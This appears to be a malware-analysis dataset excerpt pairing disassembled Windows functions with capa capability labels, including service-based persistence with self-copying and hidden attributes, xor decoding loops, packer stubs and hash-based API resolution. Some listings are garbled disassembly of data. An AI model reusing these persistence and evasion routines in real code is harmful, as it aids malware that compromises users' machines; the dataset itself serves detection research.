joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40686a
Capabilities:
Copy file
Create service
Persist via windows service
Set file attributes
Start service

Disassembly:
mov eax, 0x1fd8
call fcn.00407bd0
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, 0x491b8c
push 0x20
push esi
call edi
push ebx
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x20
push esi
mov dword [esp + 0x18], eax
call edi
cmp dword [esp + 0x10], ebx
je 0x40690d
push 0x1ed0
lea eax, [esp + 0x11c]
push 0x40e0c0
push eax
call fcn.00407870
lea eax, [esp + 0x124]
mov byte [esp + 0x1138], bl
push eax
push esi
call fcn.004054ef
push 0x13000
push esi
call fcn.00404e9c
push ebx
call fcn.004046ab
xor edx, edx
mov ecx, 0x2800
div ecx
add edx, 0x13200
push edx
push esi
call fcn.00403f63
add esp, 0x28
push 0x27
push esi
call edi
cmp dword [0x491e98], ebx
mov edi, 0x491984
je 0x406964
push esi
push edi
push 0x491a88
push 0x80000002
call fcn.00404540
push 1
push 0x40fb6f
call fcn.00403434
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
push 0x40fc6f
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x40695d
push 1
push ebx
call eax
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [esp + 0x10], ebx
jne 0x40696e
xor eax, eax
jmp 0x4069e3
cmp dword [0x491e98], ebx
je 0x406981
push ebx
push esi
call fcn.004046d7
pop ecx
pop ecx
jmp 0x4069e0
cmp dword [0x491ea0], ebx
jne 0x4069e0
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 2
push ebx
push ebx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
push 2
push 0x110
push ebx
push edi
push edi
push eax
mov dword [esp + 0x44], eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push 1
push ebx
push ebx
call ebp
mov ebp, eax
push 0x10
push edi
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
call esi
push ebp
call esi
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1fd8
ret
Function at 0x401007
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x830
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [eax]
mov eax, dword [eax + 4]
xor esi, esi
cmp dword [0x2afdafc], 0x594
mov dword [ebp - 8], eax
jne 0x40103b
push esi
lea eax, [ebp - 0x430]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [0x425088]
mov ebx, dword [0x42508c]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], esi
call fcn.00401000
mov eax, dword [0x425090]
add dword [ebp - 0x18], 0x23f
mov dword [ebp - 0x2c], eax
mov eax, dword [0x425094]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 0x20
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov eax, edi
shl eax, 4
cmp dword [0x2afdafc], 0xc
mov dword [ebp - 4], eax
jne 0x4010b7
push esi
lea eax, [ebp - 0x830]
push eax
push str.limuwafozufoderahiz_wulesuferore
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointW]
push esi
lea eax, [ebp - 0x30]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PurgeComm]
mov eax, dword [ebp - 0x2c]
add dword [ebp - 4], eax
mov eax, dword [0x2afdafc]
cmp eax, 0xfa9
jne 0x4010d3
mov dword [0x2afdaf8], 0xedeb2e40
cmp eax, 0x3eb
jne 0x4010ee
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov dword [0x2afd4b0], esi
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
mov edx, edi
shr edx, cl
add eax, edi
mov dword [ebp - 0x14], eax
mov dword [0x2afdaf4], 0xf4ea3dee
add edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
xor edx, dword [ebp - 4]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
add dword [ebp - 8], 0x64
sub dword [ebp - 8], eax
sub dword [ebp - 8], 0x64
mov eax, dword [ebp - 8]
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x24]
add dword [ebp - 4], eax
mov dword [ebp - 0x10], esi
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
nop
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
shr edx, cl
add edx, ebx
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
xor dword [ebp - 4], edx
sub edi, dword [ebp - 4]
add dword [ebp - 0x18], 0x61c88647
dec dword [ebp - 0x1c]
jne 0x401072
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 8]
mov dword [eax], edi
pop edi
pop esi
mov dword [eax + 4], ecx
pop ebx
leave
ret 4
Function at 0x405058
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x424b24]
jne 0x405062
repz ret
jmp fcn.00407afc

Function at 0x4071d9
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004026ff
and dword [ebp - 4], 0
cmp dword [0x4293bc], 0
mov ebx, eax
jne 0x40728a
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40733b
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40733b
push eax
call fcn.0040268d
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4293bc], eax
call esi
push eax
call fcn.0040268d
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4293c0], eax
call esi
push eax
call fcn.0040268d
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4293c4], eax
call esi
push eax
call fcn.0040268d
pop ecx
mov dword [0x4293cc], eax
test eax, eax
je 0x40728a
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040268d
pop ecx
mov dword [0x4293c8], eax
mov eax, dword [0x4293c8]
cmp eax, ebx
je 0x4072e2
cmp dword [0x4293cc], ebx
je 0x4072e2
push eax
call fcn.00402708
push dword [0x4293cc]
mov esi, eax
call fcn.00402708
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4072e2
test edi, edi
je 0x4072e2
call esi
test eax, eax
je 0x4072d9
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4072d9
test byte [ebp - 0xc], 1
jne 0x4072e2
or dword [ebp + 0x10], 0x200000
jmp 0x40731b
mov eax, dword [0x4293c0]
cmp eax, ebx
je 0x40731b
push eax
call fcn.00402708
pop ecx
test eax, eax
je 0x40731b
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40731b
mov eax, dword [0x4293c4]
cmp eax, ebx
je 0x40731b
push eax
call fcn.00402708
pop ecx
test eax, eax
je 0x40731b
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4293bc]
call fcn.00402708
pop ecx
test eax, eax
je 0x40733b
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40733d
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401b6a
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
mov edx, dword [edx]
sub esp, 0xc
xor eax, eax
and edx, 7
cmp ecx, 5
jae 0x401b81
leave
ret
or dword [ebp - 4], 0xffffffff
push ebx
push esi
mov esi, dword [ebp + 8]
lea ecx, [esi + ecx - 4]
push edi
mov dword [ebp - 8], ecx
lea edi, [eax + esi]
jmp 0x401ba0
mov al, byte [edi]
and al, 0xfe
cmp al, 0xe8
je 0x401ba5
inc edi
cmp edi, dword [ebp - 8]
jb 0x401b97
mov eax, edi
sub eax, esi
cmp edi, dword [ebp - 8]
jae 0x401c94
mov ecx, eax
sub ecx, dword [ebp - 4]
cmp ecx, 3
jbe 0x401c27
xor edx, edx
mov cl, byte [edi + 4]
mov dword [ebp - 4], eax
test cl, cl
je 0x401bd1
cmp cl, 0xff
jne 0x401c56
movzx esi, cl
movzx ecx, byte [edi + 3]
shl esi, 8
or esi, ecx
movzx ecx, byte [edi + 2]
shl esi, 8
or esi, ecx
movzx ecx, byte [edi + 1]
shl esi, 8
or esi, ecx
sub esi, eax
sub esi, 5
mov ebx, esi
mov dword [ebp - 0xc], ebx
test edx, edx
je 0x401c67
movzx esi, byte [edx + 0x404244]
push 0x18
shl esi, 3
pop ecx
sub ecx, esi
shr ebx, cl
test bl, bl
je 0x401c17
cmp bl, 0xff
jne 0x401c64
push 0x20
pop ecx
sub ecx, esi
xor esi, esi
inc esi
shl esi, cl
dec esi
xor esi, dword [ebp - 0xc]
jmp 0x401bef
dec ecx
shl edx, cl
and edx, 7
je 0x401bbe
movzx ecx, byte [edx + 0x404244]
mov ebx, edi
sub ebx, ecx
cmp byte [edx + 0x40423c], 0
mov cl, byte [ebx + 4]
je 0x401c53
test cl, cl
je 0x401c53
cmp cl, 0xff
jne 0x401bbe
mov dword [ebp - 4], eax
and edx, 3
add edx, edx
or edx, 1
inc eax
jmp 0x401b92
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp + 8]
mov ecx, ebx
shr ecx, 0x18
and cl, 1
dec cl
not cl
mov byte [edi + 4], cl
mov ecx, ebx
shr ecx, 0x10
mov byte [edi + 3], cl
mov ecx, ebx
shr ecx, 8
mov byte [edi + 2], cl
mov byte [edi + 1], bl
add eax, 5
jmp 0x401b92
mov esi, eax
sub esi, dword [ebp - 4]
push 3
lea ecx, [esi - 1]
shl edx, cl
pop edi
and edx, 7
cmp edi, esi
sbb ecx, ecx
not ecx
pop edi
and ecx, edx
mov edx, dword [ebp + 0xc]
pop esi
mov dword [edx], ecx
pop ebx
leave
ret

Function at 0x4034db
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x4034e5
repz ret
jmp fcn.00403609

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x431030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43101e
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp loc.00401219
Function at 0x4031b7
Capabilities:
Encode data using xor

Disassembly:
call 0x4030b8
mov ecx, 0x1b0
call 0x4031b7
rcr dword [esi + 0x30], 0x4c
push cs
pop es
add al, ch
xor byte [esi + ecx + 7], cl
loop 0x4031ba
std
mov ecx, 0x51674b2f
in al, dx
add al, 0x57
pop esp
cmp dl, byte [edx]
mov al, byte [0xd195cc0f]
in al, 0xd7
std
stc
call 0xf00b18c2
push esp
mov edx, ss
in eax, 0x46
xor byte [eax - 0x78], dh
insd dword es:[edi], dx
adc ecx, esp
jne 0x403229
in al, 0xfd
or esi, dword [esi - 0x54f5eee0]
pop esp
jb 0x40320d
test dword [edx + 0x79], 0x9b58fb9a
adc eax, 0xa32c8b10
iretd
lodsb al, byte [esi]
pop ecx
test byte [edi - 0x76], 0xb1
lea esi, [edi + 0x36]
xchg esp, ebp
jo 0x4031b2
scasb al, byte es:[edi]
fstp xword [ebx]
cmp eax, dword [ecx]
jl 0x403297
add al, 0x2b
mov edi, ds
adc byte [ebx + 0x14], bl
pop ecx
enter 0x2219, 0x1b
fisttp dword [ecx]
invalid
lds ebp, [ebx + 0xf7fb9ad]
or esp, dword [ebp + 0x78]
invalid
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
mov eax, ebx
and eax, 0x1f
mov edx, ebx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
mov dword [0x415c84], 9
or eax, 0xffffffff
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 8]
test esi, esi
jle 0x40aee4
lea edx, [ebp - 0x1010]
mov ecx, 0x1000
xor eax, eax
push edi
mov edi, edx
rep stosb byte es:[edi], al
pop edi
mov eax, edx
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, esi
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
mov eax, esi
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
add esp, 0xc
mov edi, eax
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
mov eax, esi
sub eax, edi
mov esi, eax
test eax, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
test esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
setne al
and eax, 1
dec eax
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4153e0
Capabilities:
Encode data using xor

Disassembly:
jecxz 0x4153de
fincstp
and bh, byte [eax + esi]
test byte [ebx + esi*4], dl
pop ebx
insd dword es:[edi], dx
popal
retf
mov bl, 0xd8
shr cl, 1
pop edx
push ds
add byte [eax + 0x618599de], 0xd7
or byte [edi + 0x73b2bf23], dl
mov ch, ah
jnp 0x415395
out dx, eax
xor byte [ecx], al
fld qword [ecx + 0x27]
cmp al, 0x60
invalid
Function at 0x4d3ae0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x87000]
push edi
or ebp, 0xffffffff
jmp 0x4d3b02
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4d3b09
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4d3af8
mov eax, 1
add ebx, ebx
jne 0x4d3b1b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4d3b2c
jne 0x4d3b4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4d3b4b
dec eax
add ebx, ebx
jne 0x4d3b38
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4d3b10
add ebx, ebx
jne 0x4d3b47
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4d3b9d
xor ecx, ecx
sub eax, 3
jb 0x4d3b63
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4d3bd2
sar eax, 1
mov ebp, eax
jmp 0x4d3b6e
add ebx, ebx
jne 0x4d3b6e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4d3b3c
inc ecx
add ebx, ebx
jne 0x4d3b7c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4d3b3c
add ebx, ebx
jne 0x4d3b89
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4d3b7e
jne 0x4d3b9a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4d3b7e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4d3bbc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4d3bae
jmp 0x4d3afe
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4d3bbc
add edi, ecx
jmp 0x4d3afe
pop esi
mov edi, esi
mov ecx, 0x2eb1
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4d3bda
cmp byte [edi], 0x1e
jne 0x4d3bda
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4d3bdf
lea edi, [esi + 0xd0000]
mov eax, dword [edi]
or eax, eax
je 0x4d3c57
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xd65b4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xd66b8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4d3c0c
mov ecx, edi
jns 0x4d3c3b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xd66bc]
or eax, eax
je 0x4d3c51
mov dword [ebx], eax
add ebx, 4
jmp 0x4d3c29
call dword [esi + 0xd66cc]
mov ebp, dword [esi + 0xd66c0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4d3c8b
sub esp, 0xffffff80
jmp 0x4639b3
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408f6c
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x53d83016
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x4300d2
mov ebx, 0x42e3d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x724d6bc6
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x40ad90
Capabilities:
Get number of processors

Disassembly:
pop ebp
ret 0x10
push ebp
loopne 0x40ad7f
jp 0x40adda
or byte [ecx - 0x6b8bfd18], bl
call dword [sym.imp.MSVCRT.dll__errno]
invalid
clc
adc byte [ebx + 0x10], dh
call dword [0xa740c12c]
invalid

Function at 0x40adf7
Capabilities:
Get number of processors

Disassembly:
rol byte [eax], cl
insd dword es:[edi], dx
push es
inc esi
cmp al, 0x90
in eax, 0x45
pop edi
jbe 0x40ae1d
mov eax, dword [ebp + 0x10]
mov ebx, 0x64
and eax, 0xff
cdq
popal
clc
add al, 0x17
mov byte [ebp + 0x41018810], al
jmp 0x40ae21
pushal
or dword [esi + 0x17], esi
mov eax, dword [ebp + 0x10]
mov ebx, 0x78880a
and eax, 0xdaff
cdq
idiv ebx
add al, 0x30
mov byte [ecx], al
inc ecx
mov al, dl
add al, 0x30
mov byte [ecx], al
inc ecx
mov byte [ecx], 0x2e
inc ecx
dec edi
and eax, 0xc458bb5
pop edi
pop esi
mov byte [ecx + 0x22], 0
mov ebp, 0x8b551e5d
in al, dx
in al, dx
or al, 0x53
push esi
mov esi, 0x83521075
add byte ds:[edx + 0x6c711], bh
add byte [eax], al
add byte [edi + 0x5e], bl
jg 0x40adfc
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x402060
Capabilities:
Resolve function by parsing pe exports

Disassembly:
nop
jmp 0x401fff
movzx ecx, word [edx + 0x26]
xor edi, edi
nop
jmp 0x402016
mov esi, dword [edx + 0x28]
nop
jmp 0x40202a
nop
jmp 0x402035
xor eax, eax
nop
lodsb al, byte [esi]
nop
jmp 0x402044
cmp al, 0x61
jl 0x40206d
jmp 0x402052
jmp 0x40205e
sub al, 0x20
jmp 0x40206d
jmp 0x40207d
ror edi, 0xd
add edi, eax
dec ecx
jmp 0x40208f
jne 0x40202a
nop
nop
push edx
nop
jmp 0x4020a4
mov edx, dword [edx + 0x10]
jmp 0x4020b5
mov eax, dword [edx + 0x3c]
jmp 0x4020c5
add eax, edx
push edi
nop
mov eax, dword [eax + 0x78]
test eax, eax
nop
je 0x40227b
nop
nop
add eax, edx
nop
jmp 0x4020eb
mov ecx, dword [eax + 0x18]
mov ebx, dword [eax + 0x20]
nop
add ebx, edx
push eax
nop
jmp 0x402102
nop
jmp 0x402114
test ecx, ecx
nop
jmp 0x402126
je 0x402279
nop
jmp 0x40213a
xor edi, edi
nop
dec ecx
jmp 0x402149
mov esi, dword [ebx + ecx*4]
nop
add esi, edx
nop
nop
xor eax, eax
jmp 0x402163
lodsb al, byte [esi]
nop
ror edi, 0xd
jmp 0x402176
add edi, eax
jmp 0x402189
cmp al, ah
nop
jne 0x402150
nop
nop
jmp 0x4021a3
add edi, dword [ebp - 8]
jmp 0x4021b4
cmp edi, dword [ebp + 0x24]
nop
jne 0x402102
nop
jmp 0x4021d2
pop eax
mov ebx, dword [eax + 0x24]
nop
jmp 0x4021ea
add ebx, edx
nop
mov cx, word [ebx + ecx*2]
jmp 0x402204
mov ebx, dword [eax + 0x1c]
nop
add ebx, edx
nop
mov eax, dword [ebx + ecx*4]
jmp 0x40221f
add eax, edx
nop
mov dword [esp + 0x24], eax
nop
pop ebx
pop ebx
jmp 0x40223b
popal
jmp 0x40224e
pop ecx
nop
pop edx
nop
jmp 0x402261
push ecx
jmp 0x402276
jmp eax
nop
pop eax
nop
pop edi
pop edx
mov edx, dword [edx]
jmp 0x40228e
jmp 0x401ff4

Function at 0x40242c
Capabilities:
Encode data using xor

Disassembly:
call fcn.00402326
xor ecx, ecx
sub cx, 0xff80
call 0x40242c
rcr byte [esi - 0x7f], 0x76
push cs
pop edi
xchg esp, eax
mov eax, dword [0xe2fcee83]
hlt

Function at 0x40b2d0
Capabilities:
Write file on windows

Disassembly:
push ebp
dec edi
pop ebx
pop edi
mov eax, 0xfaf07e
mov dword [eax], edx
pop esi
pop ebp
ret
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
cmp dword [esi + 0x2c], eax
test al, al
mov dh, 0x84
mov esi, 0x8b000000
dec esi
dec eax
xor eax, eax
push ebx
cmp ecx, 1
push edi
mov dword [ebp - 4], eax
mov dword [ecx], ebx
or byte [edi], cl
test dword [esi + ebx*2 + 0x7e8b0000], ebx
cmp al, 0xf4
ror dword [edi], 0x84
xchg ecx, eax
add byte [eax], al
loop 0x40b290
pop esi
cmp byte [ebx + 0x58effff], al
dec dword [esi - 0x377cfb]
jmp 0x40b313
mov edx, dword [esi + 4]
out 0x4d, al
cld
inc ecx
out 0x51, al
push eax
mov bh, 0xba
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40b358
mov eax, dword [ebp - 0x77]
mov edi, dword [0x153d98]
call edi
test eax, eax
jne 0x40b369
mov dword [ebp + 8], eax
push ebx
cwde
call edi
add eax, 0x7b0afc41
mov dword [ebp + 8], eax
inc ebp
and dword [esi], ebx
push esi
push eax
aam 0x4e
dec esi
add edx, eax
mov esp, dword [edx]
or byte [ecx - 0x2e7caf48], cl
add byte [ebp + 0x544e89c0], al
jne 0x40b3ef
mov edi, 0x3c
add byte [ebx + 0x5b5f6f45], cl
pop esi
mov esp, ebp
invalid
call fcn.0040b400
pop ebp
ret 0xc
Function at 0x405a09
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42cdac]
jne 0x405a13
repz ret
jmp fcn.00408ffc

Function at 0x40882c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402b62
and dword [ebp - 4], 0
cmp dword [0x43165c], 0
mov ebx, eax
jne 0x4088dd
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40898e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40898e
push eax
call fcn.00402af0
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x43165c], eax
call esi
push eax
call fcn.00402af0
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x431660], eax
call esi
push eax
call fcn.00402af0
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x431664], eax
call esi
push eax
call fcn.00402af0
pop ecx
mov dword [0x43166c], eax
test eax, eax
je 0x4088dd
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402af0
pop ecx
mov dword [0x431668], eax
mov eax, dword [0x431668]
cmp eax, ebx
je 0x408935
cmp dword [0x43166c], ebx
je 0x408935
push eax
call fcn.00402b6b
push dword [0x43166c]
mov esi, eax
call fcn.00402b6b
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x408935
test edi, edi
je 0x408935
call esi
test eax, eax
je 0x40892c
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40892c
test byte [ebp - 0xc], 1
jne 0x408935
or dword [ebp + 0x10], 0x200000
jmp 0x40896e
mov eax, dword [0x431660]
cmp eax, ebx
je 0x40896e
push eax
call fcn.00402b6b
pop ecx
test eax, eax
je 0x40896e
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40896e
mov eax, dword [0x431664]
cmp eax, ebx
je 0x40896e
push eax
call fcn.00402b6b
pop ecx
test eax, eax
je 0x40896e
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x43165c]
call fcn.00402b6b
pop ecx
test eax, eax
je 0x40898e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x408990
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x408942
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x4085d8
and edx, esi
mov edx, 0x1cefa8ae
call fcn.00408968
xor dword [edi], eax
inc edx
add edi, 1
cmp edi, ecx
jne fcn.00408942
add edx, esi
inc esi
ret